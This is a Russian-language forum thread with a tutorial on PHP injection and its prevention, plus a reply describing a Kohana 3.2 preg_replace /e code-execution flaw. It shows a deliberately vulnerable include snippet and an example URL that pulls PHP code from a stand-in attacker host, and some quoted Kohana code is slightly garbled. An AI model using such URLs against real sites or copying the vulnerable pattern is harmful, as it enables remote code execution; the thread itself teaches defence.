{% else-1 %}
(6 мар 2015, 16:01) (0/0) [0]
bibilink, Знаешь? Я рад за тебя! Статья для тех, кто не знает. Все новичками были, в том числе и я. Однажды мне помогли, теперь я кому-нибудь помогу. Во-вторых, тема не в оффтопе.
(6 мар 2015, 15:58) (0/0) [0]
Vol"jin, Приведу пример уязвимости в фреймворке Кохана.
Функции из ядра Коханы версии 3.2:
<?
public function redirect($url = '', $code = 302) {
$referrer = $this->uri();
$protocol = ($this->secure()) ? 'https' : TRUE;
if (strpos($referrer, '://') === FALSE) {
$referrer = URL::site($referrer, $protocol, !empty(Kohana::$index_file));
}
if (strpos($url, '://') === FALSE) {
$url = URL::site($url, TRUE, ! empty(Kohana::$index_file));
}
if (($response = $this->response()) === NULL) {
$response = $this->create_response();
}
echo $response->status($code)->headers('Location', $url)->headers('Referer', $referrer)->send_headers()->body();
exit;
}
public static function site($uri = '', $protocol = NULL, $index = TRUE) {
$path = preg_replace('~^[-a-z0-9+.]++://[^/]++/?~', '', trim($uri, '/'));
if (!UTF8::is_ascii($path)) {
$path = preg_replace('~([^/]+)~e', 'rawurlencode("$1"*', $path);
}
URL::base($protocol, $index).$path;
}
?>
Как видно, при использовании функции редиректа у реквеста к текущему uri применяется функция URL::site, в которой используется preg_replace с модификатором исполнения «e»: к каждому сегменту урла применяется rawurlencode, причем сегмент передается в двойных кавычках, что позволяет передать туда что-нибудь вроде (${Удалён и оно отработает. Таким образом, если у нас по ссылке http://site/path/param1 производится редирект, то дописав в param1 выражение вроде (${Удалён можно выполнить какой-нибудь код.
(6 мар 2015, 15:45) (0/0) [0]
В следующей статье(завтра) про неё напишу.
(6 мар 2015, 15:34) (7/0) [7]
В этом уроке мы рассмотрим один из видов взлома сайта и как от него защититься. Для начала давайте поймем, что такое PHP-инъекция.

PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
Потенциально опасными функциями являются:
¤ eval()
¤ preg_replace()
¤ require_once()
¤ include_once()
¤ include()
¤ require()
¤ create_function()

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример
<?
...
$module = $_GET['module'];
include($module.'.php');
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.(когда ставил одному чуваку защиту для движка Dcms Social помню, там такая уязвимость есть в системном файле)
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты
Существует несколько способов защиты от такой атаки:
Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module,'.?/:')) die('Пошел в жопу, хакер одноклеточный');
include $module.'.php';
...
?>
Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module, $arr))
$module = $arr[0];
include $module.'.php';
...
?>
Этот способ является более эффективным, красивым и аккуратным.
Прописать каждое значение через if
<?
...
$module = $_GET['module'];
if ($module == 'main')
include 'main.php';
if ($module == 'about')
include 'about.php';
if ($module == 'links')
include 'links.php';
if ($module == 'forum')
include 'forum.php';
...
?>
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Если у вас отстались вопросы - задавайте, рад буду помочь.